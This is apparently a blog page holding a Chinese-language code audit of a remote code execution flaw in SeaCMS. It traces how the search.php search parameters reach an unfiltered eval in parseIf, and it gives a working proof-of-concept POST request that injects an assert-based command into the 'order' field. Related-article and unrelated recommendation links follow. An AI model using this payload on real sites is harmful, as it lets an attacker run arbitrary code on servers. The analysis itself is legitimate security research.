一、漏洞分析

漏洞触发点search.php 211-213行

跟进parseIf 函数 ./include/main.class.php

这里要注意 3118行的位置,可以看到未做任何处理的eval

二、触发条件

if(intval($searchtype)==5)   

if (strpos($content,'{if:')=== true)

{if:(.*?)}(.*?){end if} 

if (strpos($strThen,$labelRule2)===false)

if (strpos($strThen,$labelRule3)>=0){

三、构造POC

http://127.0.0.1/search.php?searchtype=5
POST:searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

1.preg_match_all($labelRule,$content,$iar); 进行匹配,将匹配的内容保存到$iar

如果是$strIf=$iar[0];  则代表匹配整个的结果

$strIf=$iar[1][$m];   这里匹配整个内容的第一个子组  1)print_r($_POST[func]($_POST[cmd]));//

2.

...
$labelRule2="{elseif";
...
if (strpos($strThen,$labelRule2)===false){

$strIf=$iar[2][$m]; 不能含有elseif,才可以进入下一个判断语句

3.因为我们构造的$strThen(其实就是$iar[2][$m])是空的,利用了strpos函数漏洞实现绕过了,然后没有其他操作我们就进入了eval那一句!

最终进入语句带代码

eval("if(1)print_r($_POST[func]($_POST[cmd]));//{$ifFlag=true;}else{$ifFlag=false;} ")

四、漏洞验证

【代码审计】seacms 前台Getshell分析的更多相关文章

  1. PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

    PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在 ...

  2. 利用Thinkphp 5缓存漏洞实现前台Getshell

    0×00 背景 网站为了实现加速访问,会将用户访问过的页面存入缓存来减小数据库查询的开销.而Thinkphp5框架的缓存漏洞使得在缓存中注入代码成为可能.(漏洞详情见参考资料) 本文将会详细讲解: 1 ...

  3. ShopEX 4.8.5.81822 前台Getshell

    ShopEX 4.8.5.81822 前台Getshell 作者:unhonker   发布:2014-06-23 00:12   分类:漏洞公布   被撸:8,179次   抢沙发     利用方式 ...

  4. phpcms v9 前台getshell脚本

    phpcms v9 前台getshell脚本 用法:python phpcmsv9getshell.py http://baidu.com # -*- coding:utf-8 -*- ''' --- ...

  5. PHP7CMS 无条件前台GETSHELL

    PHP7CMS 无条件前台GETSHELL Version:2018-10-09 //最新版中以修复此漏洞 这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的.   01 0 ...

  6. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  7. [代码审计]covercms 后台getshell

    0x00 环境介绍 CMS名称: covercms 运行环境: php 5.6.27-nts + apache + mysql 系统版本: 1.16 漏洞等级:高危 漏洞简介: 后台awnotas.i ...

  8. 帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

    帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过 ...

  9. phpcms9 从注入点入手和 从前台getshell

    弄了3天了  这个点 总结一下这三天的坑吧 0X01 注入点入手 /index.php?m=wap&c=index&a=init&siteid=1 获取cookie 传给 us ...

随机推荐

  1. yolov3 进化之路,pytorch运行yolov3,conda安装cv2,或者conda安装找不到包问题

    yolov3 进化之路,pytorch运行yolov3,conda安装cv2,或者conda安装找不到包问题 conda找不到包的解决方案. 目前是最快最好的实时检测架构 yolov3进化之路和各种性 ...

  2. 2019 LOL 全球总决赛

                                        FPS 牛逼 涅槃重生

  3. Qt Gui 第三章~第四章

    一.图片资源的调用 如上图是我图片存放的位置跟qrc的命名: 如下则是qrc对应的编写格式: <RCC> <qresource> <file>images/icon ...

  4. Eclipse中配置Tomcat容器

    Tomcat 安装与配置 Tomcat是Apache 软件基金会(Apache Software Foundation)核心项目之一,支持最新的Servlet 和JSP 规范.因为Tomcat 技术先 ...

  5. spring项目启动报错

    个人博客 地址:http://www.wenhaofan.com/article/20180921134534 错误信息 ERROR [localhost-startStop-1] - Context ...

  6. Vue 实例挂载的实现(六)

    Vue 中我们是通过 $mount 实例方法去挂载 vm 的,$mount 方法在多个文件中都有定义,如 src/platform/web/entry-runtime-with-compiler.js ...

  7. JS全选按钮练习

    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/ ...

  8. Cannot read property 'resolve' of undefined

    可能是node下载的有问题 推荐官网:https://nodejs.org/zh-cn/

  9. cmd 运行py脚本,提示找不到xx模块

    一.在学习Django+接口自动化测试,用Jenkins做定时任务,cmd运行脚本时提示 "找不到xx模块": 1.原因:Pycharm单独运行脚本时没问题,cmd运行找不到模块. ...

  10. AcWing 1017. 怪盗基德的滑翔翼

    #include<iostream> using namespace std ; ; int f[N],g[N]; int w[N]; int main() { int t; cin> ...